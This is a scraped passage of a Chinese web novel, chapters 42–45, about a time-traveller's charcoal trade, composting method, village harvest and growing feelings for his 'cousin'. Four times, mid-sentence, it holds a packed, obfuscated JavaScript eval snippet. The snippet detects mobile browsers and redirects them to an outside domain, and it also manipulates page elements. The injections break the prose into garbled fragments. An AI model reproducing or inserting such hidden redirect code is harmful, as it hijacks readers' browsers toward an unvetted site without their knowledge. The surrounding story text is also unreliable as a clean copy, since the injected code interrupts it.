孟知彰只交代二人早去早回，注意安全，又特意叮嘱牛大有要时刻跟着庄聿白。庄聿白见对方一切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938351|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如常，也就是并不知昨晚之事，这才放了心。 孟知彰看着炭车上的身影消失在小路尽头，方转身回家。 路上，他下意识抬手摸了摸昨晚一直被那只柔软的手、若轻若重压着的胸口，嘴角弯起些弧度。 * 每次进城最值得期待的环节就是采购。 庄聿白和牛大有将这次试做的所有兰花炭全部送去茶坊，一个1两银子的金玉满堂小单也很快完成后，便开始了今日的买买买活动。 庄聿白虽然自己不常下厨，但能看出来孟知彰对自己做的饭菜很是喜欢。他买了两斤五花肉，菜园的菘菜长势极佳，正适合来做菘菜肉馅的饼子。 又买了些月白色罗布窗纱，并一挂竹帘回来。家中添置些新东西，住得也更舒心些。 天气热了，里衣换洗的勤，庄聿白选了几件抱腹和汗巾，当然也有孟知彰的一份。对方的尺寸，他清楚。 牛大有这次也买了不少东西。金玉满堂近来生意好，牛大有单单来帮工就攒下一两多银子。近来又多出这茶炭的生意，牛大有心中越发有了底气。一坛雪花酒给牛叔，为牛婶买了一瓶头油，又买了一包饴糖给二有。 日子越来越有盼头，人脸上的笑容就越来越多。 回来路上，闲话。大有说家中天地有限，三个男丁家中这几亩地出去缴的税粮跟本不够吃，家中多亏了这柴炭营生。现在有了这更赚钱的茶炭生意，家中日子更好起来，隔三差五饭桌上竟然也能见到荤腥。 青黄不接时，人口多的人家都要去采挖野菜来。细想也对，古代生产力不济，粮食产量自然跟不上。 不过不等庄聿白细究粮食增产的问题，牛大有开启的另一个话题，迅速占领他的所有心思。 牛大有看着炭车上的竹帘和软纱，憨憨笑两声：“这是知彰成亲装点院子的么？” “……”庄聿白一时不知说些什么，讪讪点头，“夏季蚊虫多，挡一挡。” 牛大有见庄聿白答非所问，并不罢休，又道：“给知彰成亲的喜被，我阿娘已经做好了，等定下日子就给知彰送过来。我阿娘说，成亲的规矩很多，连送喜被的时间和方式都有说法。” 庄聿白默默听着，似乎总不吱声也不好，出于社交礼仪随口应和道：“牛婶手艺好，想来新娘子也会喜欢。” “新娘子？”牛大有手中缰绳一勒，侧脸看向庄聿白，满眼疑惑，“难道你不知道，知彰娶的不是新娘子，而是和你一样的哥儿！” 庄聿白愣住，极度怀疑自己的语言秩序出现障碍。 什么叫“和我一样”？他自动过滤掉什么哥儿姐儿的专有名字，只抓住自己想听的关键词。娶亲不娶女子，难道要与我这样的男子成亲？ 庄聿白是了解牛大有的，素来憨厚，从不与人玩笑。 “那庄家的哥儿，听说长得不错，性子也好。你人聪明，脾气温和，想来一定能成为朋友。将来我们一起做这茶炭和金玉满堂……” 庄聿白听得眼前一黑又一黑，已经听不清牛大有具体在说些什么。他捂住胸口，大口喘着气，脑子里只有一个声音在反复轮放，越来越响： “孟知彰要娶男人。” 42. 表哥 “孟知彰要娶男人？！” 昨夜庄聿白还对自己穿越到的这个世界倍感满意，今日牛大有几句话就将他踹入冰窖。 和男人成亲，说明孟知彰根本不是个直的。自己将他当好兄弟一般对待，到头来他却要娶男人！ 庄聿白浑身堵得难受。你孟知彰要娶和我一样的男人，那这些日子的同床共枕又算什么！ 算我流氓？！ 上次得知对方要成亲，庄聿白已经体会到一种莫名的失落。这次更甚。当然这种失落，来自知己之情被忽视的失望，也来自兄弟情谊被辜负的背叛。 难不成这炭车有什么说法，风水不好，或是撞了太岁？每每坐上都要整出些幺蛾子才算罢休！ 远远看到孟家村的影子时，坐在炭车上的庄聿白已经下定了决心。 这次他真的该离开了。约定时间一到，立马就走。什么府城的亭台楼阁、富庶繁华，都是过眼云烟，哪里有保住自己的清白和名节重要！何况自己也攒了几两银子，割席分手时一人一半，也足够自己生活一阵子。 自己一个干干净净好青年，坚决向这个弯腐的世界说不。 炭车驶到门前时，孟知彰已经等在那里。 即便在茅屋柴院的简陋背景下，眼前的这个人也格外亮眼。 孟知彰就站在那光中，身姿挺拔，目光灼灼。神态随和闲散，却仍然有一种持重的端庄。 庄聿白视线不觉被绊住。阔朗的胸膛缓缓向下收拢，扎进紧实的腰腹。两条笔直的大长腿坚实地踏在大地上，如松柏般挺立，气势巍然。衣衫被夏风卷起，通过衣褶可以看出周身肌肉的力量和韧性。 昨晚胸膛温热柔韧的触感，仍留在手心。一些不合时宜的画面，却突然从庄聿白脑海中冒出来。 毕竟是成年人，他自然明白“成亲”意味着什么。孟知彰要和一名男子成亲，也就意味着会和一名男子做一些少儿不宜的事情。 被这样一副胸膛拢进怀里是种什么滋味？和这一双大长腿交缠在一起，又会是怎样一种感受？ 庄聿白愣了两秒，有些晃神。 “回来了。”脑海中的人，已迎到近前。 庄聿白诡异的思路被打断，他忙收回放空的视线，有意避开孟知彰的目光，倒莫名有几分不好意思。 炭车离地面有一段高度，以免孟知彰向往常一般伸手扶自己下车。车还没完全停稳，庄聿白便欠身先行从炭车上往下跳。 不过他的动作还是慢了半拍。双脚不及落地，上半身早被人托住，一条坚实有力的胳膊半环半抱着，将他稳稳放在地上。 整个过程干净利落，不过半个呼吸。可不知哪一个细微动作和方才脑海中的画面“叮”地一声重叠了半拍，庄聿白猛地一惊，后背麻了半边。 “谢谢……表哥。”庄聿白在那结实的臂膀上推了把，故意往旁边躲开半步。 “表哥”两个字语气冰冷，似警告，又像故意提醒对方，你我身份有别，应保持合适又体面的距离。 庄聿白情绪的变化都写在脸上，孟知彰想装作看不见都难。 “肥堆已经好了。午后我将菜园翻整一遍，一半做了底肥，另留下一半用作后续追肥。” “好，我去看看。”庄聿白头也不回逃似地向菜园走去，留下孟知彰和牛大有将采买回来的东西收拾停当。 苗圃中挤挤挨挨已经满铺出来的菘菜被移栽出来，南北想分成七八垄列队站在菜园，半米远一颗，亭亭立立，整齐划一。每棵菘菜四周都用土围出一个浅浅的洼坑，第一遍水也已经浇过。 学霸就是学霸，哪怕翻田种菜都能成佼佼者。 菜园一角，半立方黑色肥堆留在原地。庄聿白走近蹲下，抓了一把在手上细细观察。发酵而成的肥料，乌黑松软，颗粒分明，比天然腐殖质要精细疏松。 庄聿白对此次堆肥成果非常满意，断定用上这发酵肥料，不仅增强土壤通气性和保水性，还能更好保证蔬菜瓜果所需的各类营养元素。 施肥得当，管理得当，荒地也能变肥田。 最近金玉满堂和茶炭的事太忙，他几乎忘记肥堆之事。好在孟知彰心思缜密、行事周到，每隔一日翻堆一回。这肥堆能如此成功，孟知彰要占一半的功劳。 庄聿白越发觉得孟知彰是弯的这件事，实在令人惋惜。大家明明可以继续做好兄弟。嗐！你弯了，这事就不好办了。自己的原则总归要坚持。君子有所为，有所不为。道不同不相为谋呐。 话虽如此，庄聿白心中还是给孟知彰比了个大大的赞。 庄聿白站起身，拍拍手上灰尘，替孟知彰惋惜的同时，也在琢磨自己何时离开比较合适。他抬头看了看远处的麦田，阳光照下来，金黄一片，翻滚着粮食给庄户人所能提供的独有安心和希望。 夏收说来就来，大家相识一场，不能在人农忙时添乱。时间就定在夏收后吧。 提到收成，庄聿白想起路上牛大有谈及家中口粮紧张的问题。他将视线从一望无际的田地收回脚边肥料，若有所思地盯了一会儿。若将这堆肥之法从菜园扩大到农田，岂不是能惠及更多人。 庄聿白再回到院子中时，牛大有已经离开了。此时独自面对孟知彰的他，一时拘谨起来，束手束脚，眼睛更是不知该往哪放比较得体。 他知道有什么东西发生了变化，可又说不好哪里发生了变化。好在他此刻还有更绊手的事情要忙。 今日送碳时，庄聿白明确答复了周掌柜，兰花炭技术不接受买断，但可以保证全暨县专供缘来茶坊这一家。当然，价钱仍是30文一斤，分文不少。 庄聿白还拟了一份契约，将各自权益明细悉数列上，双方签字画押以为证。 周青见庄聿白是个稳妥爽快之人，当即付了6两银子作为合约定金。而且约定每月200斤供货数量，如需加量，会提前半月相告。若有加急之需，也会额外支付加急所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946290|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需的费用。 牛老汉家有一口炭窑，每个月只烧一窑柴炭，2000斤木柴出600斤炭，可以卖2两银子。这些柴炭换成柳条炭或其他硬木炭，烧制后加工成兰花炭，600斤硬木炭可以出200斤兰花炭，每斤30文，就是每月6两银子。 换做旁人，完全可以花2两银子将兰花炭原材料买下，请几个小工来帮忙碾炭加工，费上几百文钱，将多出的这三四两银子全部收入自己囊中。 庄聿白自然不会这么做。柴炭生意仍然是牛家的，他计划将这个兰花炭的技术全部教给牛大有，自己只从每窑兰花炭的销售额中收取1/3的技术入股分红，也就是每200斤取2两银子。这样牛家和自己每月都多了些进益，岂非一举两得。 牛家一听不乐意了。牛叔第一个出来反对。这不相当于他们牛家每窑炭多赚2两银子外，还白白占了30两银子的技术买断费么。 庄聿白说这是和孟知彰商量过的决定，若是牛叔坚决不同意，他们只能找别的炭窑来合作了。 兰花炭技术教给牛家，他们一百个放心。若换做别家，不知根知底，为了利益转手将这兰花炭的技术卖与别人也是极有可能的。 牛叔犯了难，他自是不放心他们和别家合作。可他老牛家也不能占这俩孩子的便宜，良心有亏啊。 庄聿白见牛老汉闷声不语，只一味叹气，笑着劝道：“我才算捡着便宜之人呢。什么也不需做，只在家翘起二郎腿来收银子就行，这还不知足么？” 牛老汉抬眼看看庄聿白，满肚子的话不知如何说，只化成一声叹息。 庄聿白扯住牛叔的袖子不停撒娇：“牛叔只管应下。别看咱目前虽只有缘来茶坊一个主顾，将来暨县之外还可以开辟更多销路，比如卖去长宁州，再比如卖去府城，甚至更远的地方都是有可能的。到时就需要牛叔多辛苦些了。烧出更多的炭，方便我撑开口袋装银子！” 软磨硬泡了半天，牛家同意也不是，不同意也不是。最后庄聿白又搬出孟知彰，说牛叔再推辞，孟知彰就与他们断绝关系，再不往来，更不认牛叔牛婶这两个亲人。 这一招果然戳中要害。万般无奈下，牛家最终点了头，但坚持将2两银子的分红改成3两。 庄聿白没同意：“寻常炭柴制成兰花炭，虽能多赚几两银子，但人工耗费极大。眼下牛叔带着大有二有来做，也是辛苦。尤其将来若真的开辟出更多订单，也忙不过来。到时不如请乡邻一起来帮工，每家在炭窑中赚些散钱来贴补家用，也是好的。” “这样好！”牛老汉眼中忽然有了光，“只有我们老牛家获益我心中实在难安。若大家都能凭着这兰花炭技术得到好处，那自然是好。琥珀啊，叔说句不恰当的话，你真是我们孟家村的小福星。” 民以食为天不只是说说而已。孟家村最重要的事情，夏收，转眼开始了。 决定夏收后就跑路的庄聿白，已经开始悄悄收拾他的行囊。 43. 贵客 自从得知孟知彰是弯的，庄聿白越看越觉得对方不对劲，平时能躲就躲着些。 这日晨起，庄聿白拎来一桶水独自在菜园浇水。 苗圃移栽出来的菘菜，堆肥加持下长速飞快，短短三四天已经窜到一尺见高，离得近些似乎都能看到菜叶向光伸展。 每棵菘菜两杓水，天气热，植物蒸腾作用加快，耗水量就大，傍晚时还需再来浇一遍。庄聿白直起腰，抬手擦了下额角细汗，却见柳婶挎了个竹篮遥遥走来。 “这片地荒废了好几年，竟然还能长出这么好的菘菜！”柳婶笑着，眼神中难掩赞赏，“家中新摘的，给你送些来，明日开始收麦，要辛苦好多天。多吃点，补补身子。” 庄聿白忙道了谢接过来，碧绿翠挺的丝瓜、黄瓜等装了满满一篮子。最近柳婶总来找他闲话，可又不说什么事。 柳婶不急着走，细细在菜园观摩起来：“这是刚移栽过来的菜苗么，才几天不见，怎么长这么大了，看着一颗足有两斤重。难不成也给它们吃了‘金玉满堂’？” 庄聿白笑着指了指菜园一角那半方堆肥：“它的功劳。专门为菜园新堆的肥。” “新堆的？”柳婶一脸不可置信。她是懂农家肥的，没个半年一年哪能施到地里？ “这是新型堆肥法，半个多月就能成。你看，用上之后菜苗长势眼见快了不少。” 柳婶半信半疑抓了一把堆肥在手上，又摸又闻又看，里外检查好几遍，还是不敢相信。又将菘菜垄台上的土壤轻轻扒开一层，土壤颜色呈深褐色，松软肥厚，一打眼便知肥力十足，感觉比那上等田的土还要厚实些。 “这荒园子果真只是用这肥料养起来的？” 柳婶仍然选择不信。她长这么大，半个月能堆成肥一事闻所未闻。就算用太上老君的炼丹炉，也炼化不了这么快吧。说出去，都能被人当成笑话。 可她看着一脸真诚的庄聿白，又不像是开玩笑。柳婶听公公说，端午前后仅凭金玉满堂这一个生意，就攒出10两银子。或许别人办不到的事，眼前这个小哥儿就有本事做成。 柳婶又看看手里的半把肥料，确实好，难怪菜苗长势这么旺：“等忙过夏收，你得空教教婶子这肥怎么个堆法，我给我那园子瓜菜也追追肥。” 管他成不成的，半个多月也不费什么时间，柳婶决定小范围试一试。她刚要走，又折回来：“差点忘了正事，你知会知彰一声，家中镰刀磨一磨，晚上开镰仪式上会用。” 庄聿白将菜篮子放在院中桌上时，孟知彰正静静在石榴树旁看书。 挂在院墙上的两把镰刀磨得锃亮，阳光一打，闪着冷光。十几个棕色大麻袋铺了满院，正安安稳稳晒着太阳。这是在给明日开始的夏收做准备。 “柳婶找你何事？”孟知彰语调淡淡，眼睛仍停留在书页上。 庄聿白的事，孟知彰从不主动过问。庄聿白若说，他便认真听着；庄聿白闭口不言之事，他从不开口询问。可最近不知怎么了，每每涉及柳婶，孟知彰似乎总想知道更多。 庄聿白朝桌上努努嘴：“柳婶送了些菜。提醒你参加晚上开镰仪式的时候带上镰刀。” “开镰仪式”是孟家村的一个传统。夏收前一日，族长及族中耆老聚在一起，共同为族中人家“开镰”。 开镰过程很简单，农事经验丰富的耆老为乡民逐一检查镰刀的新旧钝利，确保开工前，所有人家都准备妥当。若谁家镰刀朽坏不堪用，族里会将公中的工具拿出来供其使用，保证每家每户的夏收都能顺利开展。 麦收不等人，抢收期间若下了雨，大半年的辛苦白费不说，全家人的口粮可就没了着落。这是要命的事。所以趁着这几日天气好，族中所有夏粮全部收割归仓。 这就涉及“开镰仪式”的另一重要事项，统筹族中人手。若谁家人手不够，族中便会将富余劳动力抽调出来帮着抢收。每人每天60文的工钱中，族中会出40文，若余下20文还是拿不出，族中会另外帮着想办法。 当然，孟知彰便是每年需要重点帮扶的人选之一。 天刚擦黑，村中稻谷场便挤满了人。火把亮起，将平平整整阔阔朗朗的稻谷场照得如同白昼。 明日麦收，每个人的脸上既兴奋又紧张。大家的目光紧紧盯着火把照耀下那一字排开的椅子上所坐着的族长和一众耆老。 乡民排着队，有序走到耆老们跟前，恭敬递上镰刀，并认真听取族中长辈们代代传下来的麦收经验。 轮到孟知彰和庄聿白，两人快步向前，庄聿白跟着孟知彰行过礼后，乖乖立在一侧。 几位年岁大的见到孟知彰，笑呵呵问他近来功课如何，家中银钱是否够用，并宽慰他麦收的事不用着急。他们见孟知彰身边跟着个陌生小哥儿，眼中虽满是打量，不过也没有多说多问什么。 到了统筹人手环节，无需帮忙的乡邻、以及家中无法提供富余劳动力的人家先行散去。耆老跟前的椅子旁摆上一些小凳子，请族中有些身份或者上了年纪之人坐了，一则共同参谋如何安排人手，二则也算是个见证，将来若雇佣双方起了龃龉，也好断个是非、从中劝和一二。 庄聿白随孟知彰静静站在人群中。 温暖和煦的夏风拂过耳畔，他似乎听到一句“那是知彰表弟，琥珀。”再抬头时却见椅子上坐着的几位老者正齐齐朝自己这边看过来。他下意识朝身后望去，没有旁人。 几个老者盯着看的人，正是自己。 族长左手边坐着一位白胡须老者，他远远看了庄聿白两眼，然后与旁边族长开始低语。族长边听边点头，回了几句什么，隔着稻谷场上空混混沌沌的议论声，庄聿白听不甚清，只隐约辨出“牛老汉”、“茶炭”几个词。 难道是牛叔家的炭窑出了什么问题？庄聿白摇摇头，应该不至于。近来兰花炭制作很顺利，他跟牛大有去窑上看了几次。缘来茶坊订单平稳，给钱也痛快，这又刚刚追加了200斤。 还有，牛叔外表看着粗糙，心底却格外柔善。眼下虽多赚的银钱有限，他还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951558|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿出其中一半请乡邻来帮工。说是帮工，请的多是村中鳏寡孤独之类需要照拂之人，或捡柴、或碾炭，再不济为劳作之人准备饭餐，来者都能领一份工钱。 有样学样，庄聿白现在“金玉满堂”的订单是能多接就多接。他仔细请教过牛叔的建议，大单来时，除了中坚力量牛大有之外，也请了不少村中需要搭把手的乡邻。 目前为止，茶炭和“金玉满堂”两门生意，虽不说太红火，至少在孟家村乡邻眼中还算是个正经营生，口碑也不差。就算过几天自己走了。“金玉满堂”这摊子事，孟知彰在乡邻帮助下也能挑起来，不至于经营不下去。 庄聿白侧脸看看身边的孟知彰，月色和火把的交相辉映下，哪怕背景只是简陋的乡野村光，公子朗然如玉的超逸气质，也不失半分。 虽然你现在已经不是我的好兄弟了，大家相识一场，我走后之事，还是会帮你料理好的。 庄聿白正想着，忽听两声拍掌声响起，全场顿时安静下来。稻谷场附近的草虫声，却这在突如其来的安静下，隐隐四起，连绵起伏。 族长轻咳一声，远远冲庄聿白招手：“琥珀，你来。” “我？”庄聿白伸手指指自己，又看看身旁的孟知彰。孟知彰点头，眼神肯定，没错，族长叫的就是你。 庄聿白不明所以。自己和族长只见过两次面，一次是用族长家来分发乡邻采买的金玉满堂借，再一次就是端午送节礼。其他再无任何交集。就算安排人手帮忙夏收，对话的人也应该是孟知彰。为何偏偏叫我？ 庄聿白在孟知彰陪护下走上前走。 “这位是知彰的表弟，叫琥珀。”族长站起身亲自向一众耆老和乡邻介绍庄聿白，“‘金玉满堂’和兰花炭的开创者。” 虽然目不斜视，庄聿白还是能感受到全稻谷场的目光，像一束束聚光灯，全部汇聚到自己身上。 万众瞩目。 方才那白胡子老者在旁人的搀扶下，颤巍巍站起身上前拍拍庄聿白的肩膀：“你是我们孟家村的贵客啊，贵客！快请坐。” 早有人将一个板凳放置在庄聿白跟前。庄聿白顿感局促，哪里敢坐。族长和一众耆老却分外坚持。他若不坐，众人便同他一起站着。 无奈庄聿白只能坐下来，带着一种莫名羞涩，听族长说着金玉满堂和兰花炭给孟家村带来的变化。 不过……贵客？！庄聿白对这个称呼很是受用。 他坐在只有族中备受尊敬之人才能拥有的小板凳上，腰板直了又直，这种受人敬仰被人夸夸的感觉——真好！ “表哥。”众人的“贵客”仰起头，轻轻唤了声站在身旁的孟知彰。 孟知彰微微俯身下来，灯光映在眸底，倒给他冷峻的脸庞增添几分柔情。他用眼神询问，“何事？” 庄聿白递上纯洁无暇的笑脸，然后挑下眉：“你，挡我光了。” 孟知彰背在身后的拳头不由攥紧，青筋微微滚动。他不动声色直起身，向旁挪了半尺，嘴角却弯出些弧度。 44. 税粮 夏收是微咸的，带着干燥尘土和额间汗珠的味道。 镰刀割断麦秆之声，麦穗轻碾出壳之声，扬糠收麦装袋之声，混合着响亮的蝉鸣和辛苦又兴奋的劳作之声，在孟家村上空响了足足七天七夜。 夏粮过秤计量后的第八天，族长和一众耆老又坐在稻谷场。与开镰仪式上喜气洋洋的气氛大相径庭，每个人的眉头都拧成一团。 庄聿白随孟知彰来到稻谷场时，立马感知到现场的压抑，连蝉鸣也变得沉闷，空气中甚至还透着一点说不出的酸涩。 身边的乡邻小声议论着，两人听了一会儿，大概明白族人所愁所叹所谓何事。 今年夏收之粮与往年并没有太大区别。只是上头刚下来了政令，说边疆战事又起，粮草出了空缺。平安州吃了水患的地方粮食自然收不上来，那短缺的只能由周边丰产的州县补齐。分派到孟家村，就是每亩上等田加1斗3升，中等田加1斗2升，下等田加1斗。 庄聿白此前对这一斗半斗的没什么概念，可家中收了多少粮，他心中还是有数的。 古代农耕社会生产条件有限，庄聿白已经做好产量少的心理准备。但孟知彰将所打之粮悉数搬进灶屋旁的小粮仓时，庄聿白的心还是沉了又沉。 孟知彰家中有田6亩，其中上等3亩、中等2亩、下等1亩，共收了12石3斗粮食。最好的上等田一亩收了2石2斗，最差的上等田只收了1石3斗。这其中还要留出正常缴纳的税粮2石2斗2升，每亩上等4斗、中等3斗6升、下等3斗。夏收过后，孟知彰家能余10石粮食。 孟知彰家还算好的。村南边几户人家农田的地势较高，收成明显不好，哪怕是上等田，每亩只收了一石七八斗，更别说中等和下等田了。和粮食一起收进家中粮仓的，还有对接下来艰难生活的无奈。 好在孟知彰家中只他一人，尚有余粮换些银钱。像牛大有家这种人口众多的，需要加上一季秋收才勉强凑够口粮。年景好时能富余个三五石粮食；若遇上个旱涝蝗灾，大幅减产甚至颗粒无收的情况并不少见。 眼下又要加赋税。原本富余之家粮食开始不宽松，原本吃紧的门户，日子越发艰难。整个孟家村几乎家家愁云、处处叹息。 稻谷场上，耆老们边摇头边小声商讨着什么，花白胡须捋了又捋。令行禁止，这也是没办法之事。田中所能产的粮食就这么多，除了从饭碗中节省，哪还有别的法子。 族长发了话，增缴的税粮按时按量缴纳，一升一合不能少。若有人家口粮不足的，族中公中之地收了几十石粮，到时以市价的一半之资限量购买。 稻谷场上压抑气氛并不见少。这季的税可以先缴，等到秋季还需不需要加税呢？谁也说不好。若这税每年都加下去，这日子还有盼头么？ “就没其他法子了么？” 人群中不知谁不知轻重地喊了一声，立马被身边长辈拉住捂嘴，并狠狠朝头上拍了几下。 法子自然是有，提升亩产。将增缴的税粮，从土里刨出来补齐。 家中有条件的，自然想办法施肥细耕。将相应资源投入田中，才能产出对应的粮食。比如磨坊家有几头牲口，粪便等都是不错的肥料。这季夏收，每亩上田打了2石5斗，这应算是孟家村所有田地产量的上限了。 可谁家有那么多肥啊。就算找到肥料，沤堆发酵，最快到来年春耕时才能用上肥料。 柳婶想起庄聿白菜园中的那个肥堆，那日她只是顺着话茬说要学着堆肥，并没有十分上心。今日忽然想通了。肥料能施在菜园，自然也能撒入农田。即便每亩多收个三五斗粮，对庄户人来说日子也能宽松不少。 柳婶开始四处寻找庄聿白，其实并不难找。即便在众多粗衣短衫的乡邻中，人群中那两个飘然世外的身影也格外惹眼，如人间仙子、不染尘嚣。 孟知彰和庄聿白低头小声议论着什么，不等柳婶走近打招呼，两人却朝耆老们的方向走去。 果然是说堆肥之事。 庄聿白作为族人一致认可的“贵客”，现在孟家村乡邻面前竟也有了几分话语权。族长准许下，他说自己有一个成熟的堆肥法子，只需18日便能制成松软肥厚的肥料。自家菜园目前就在用，菜苗长势极佳。 柳婶也忙过来作证：“确实，知彰家后院那片荒地现在已经成了一个顶好的菜园。园中的瓜菜个顶个的旺。” 族长低头不语。若不是此前积攒的好印象，外加持重沉稳的孟知彰就站在他身后，族中耆老们跟本不会容庄聿白将话说完，提到“18日制成”之时就会把人轰了出去。 祖祖辈辈与田地打交道，自己也已是土埋大半截的年纪，堆肥还能不会？可谁家18天就能堆成？ 在场众人听后，也纷纷摇头，称这后生到底年轻些，做事容易冲动，容易急于求成。肥料只堆18天，施到田里岂能不烧苗？ 粮田是庄户人的命根，哪敢随意往田里乱施肥。18天堆成的肥，哪个敢用。多缴的税粮，或省、或借，总能有办法补上。但若用这速成的肥料弄坏了田地，岂不是将全家老小往火坑里推。 庄户人没有任何托底后盾做支撑，向来谨小慎微，尤其这种事关粮食的大事，更是承担不起任何一点风险。 有人不屑。有人避之如虎狼。当然多数人选择观望。 庄聿白完全能够理解，这事强求不来。 人群络绎散去。空气中的燥热降下来，孟家村的夜，却久久难以平静。增税是躲不过的话题。再有一个，便是庄聿白的堆肥术。 “18天堆成肥料，简直天方夜谭！别看那知彰表弟人长得清爽，也有头脑，但种田这事，我看他不行。” “我倒觉得他不像会说大话的。何况我看知彰非常信任他。你信不过他，难道还不信知彰？万一18天真能堆成呢？” “180天都不一定能行，18天，除非天菩萨现了身，亲口告诉我能成！” 第二日酉时，庄聿白在家中讲解堆肥技术。虽多数人并不看好，但来的乡邻还是围了个里三层外三层。有孟知彰、金玉满堂和兰花炭这三个背书在，大家对庄聿白的这个18日堆肥术，不管信与不信，还是想看看究竟是个什么制法。 庄聿白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14954894|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将堆好的肥料拿与众人看，族长握了半把松软肥料在手中，不需细看，种了半辈子田，族长凭手感就能晓得这肥料是好是坏，他花白胡子动了动，沉吟半日，“这当真是18天堆出的肥？” 庄聿白又将众人带至菜园参观施肥后的成果。不少人心动。 心动归心动，付诸行动的并不多。菜园种菜，若是种坏了大不了少吃几口菜而已。粮食不一样，田若是坏了，全家就没活路了。 族长家试种2亩中等田。牛大有都听孟知彰和庄聿白的，既然孟知彰家6亩田全用这堆肥术制的肥，牛家也全用。再就是在窑上帮工的乡邻中也有几户，见牛叔家跟着试这堆肥术，也多一亩两亩地跟着试做。 缴粮税、育禾苗、翻田地的忙碌日程中，新型肥料的堆制也在如火如荼进行着。 族长自然希望这堆肥能够成功，每日盯着。柳婶更是常来请教庄聿白，时不时将他请去帮忙看肥堆的状态。庄聿白，自也是义不容辞。 这日临近中午，庄聿白还没回来，孟知彰有些急。他在院子里踱了半日，正要关门去族长家寻，忽见柳婶儿子怀仁抱着本书蹦蹦跳跳走来。 “知彰哥好！” “你怎么来了？”孟知彰以为庄聿白跟在后面，眉眼间的神色柔和下来，抬手整理下衣襟，朝前路看去却并不见庄聿白，“琥珀呢？” “我舅舅家来人了，琥珀哥哥正陪着说话呢。”怀仁举上一本书，“我有个问题想请教知彰哥。” “你舅舅家？”孟知彰像是想意识到什么，眼神猛地沉下来。 怀仁登时紧张了，他从未见过知彰哥这么……凶。 孟知彰找到庄聿白时，他正与柳婶夫妇从族长家堆肥空地往回走，一路说说笑笑。柳婶夫妇见孟知彰接来，道过谢便先行回家了。 空气静下来，一种莫名的情绪却在二人之间悄然翻腾。比这正午的日头还刺眼刺心。 已近中午，日头毒，到家还有一段距离，孟知彰担心庄聿白身子扛不住，寻了个阴凉的小路往回走。 “柳婶娘家来人，你去见过了？”孟知彰问的直接。 “我不可以见么？”庄聿白一下恼了，不知哪来的无名之火猛地窜上来，“我见与不见，与你孟公子什么相干。难不成我每日见了谁，同谁说了什么话，做过哪些事，都要与你请示汇报不成！” 孟知彰啊孟知彰，做事不能太双标。你娶不娶亲、娶男娶女，我有问过一句么？怎么到我这里，事无巨细你都想管一管！ 庄聿白气鼓鼓向前走，林子越走越深，竟走到一潭清水旁。他捡起几枚湿漉漉的石子，用力甩进潭中。 “潭深，当心。” 现在连玩水也要管？独裁！ “你管我！”庄聿白贝齿紧咬，带着冰冷的恨意，“凭什么你不让我玩，我就不能玩？孟知彰，你是我什么人！今天这水，我是非玩不可！” 庄聿白往潭边站得更近些，掬起水狠狠洒向孟知彰。 孟知彰下意识去躲，庄聿白越发生了气，待要再用力去洒。谁知脚下一滑，直愣愣摔进水里。 45. 退婚 潭深，水冷。 虽是暑夏之际，潭水却像是冰山中沁出来的，噬骨的冷。离岸一米远，脚却根本碰不到潭底，或者说着水潭就没有底。 潭水猛地从头顶盖下来，庄聿白狠狠呛了两口水，窒息感带着濒死绝望感，他慌了。手脚并用，狠命挣扎起来。奈何周身衣服死死箍住他，生铁一般，都任他如何挣扎，动弹不得半分。 水温过低、潭水坚硬，每一下挣扎都像是在冰冷的铁水中搅缠。庄聿白很快没了力气，他紧闭双眼，潭底黝黑，没一丝亮光。 耳畔除了如擂心跳，再就是灌进耳道的大作水声，恍惚中似乎还有阵阵唢呐之声传来。唢呐悠远凄厉，夹着字正腔圆的祭词： “庄氏族人，伏拜祝告……敬奉三牲及童子一人，庄氏聿白……躬身侍奉……祭礼告成，伏惟尚飨！” 庄聿白不记得自己怎么被救上岸，也不记得如何回的家。 他吓坏了。更具体些，应该是被震惊到几乎失了魂魄。 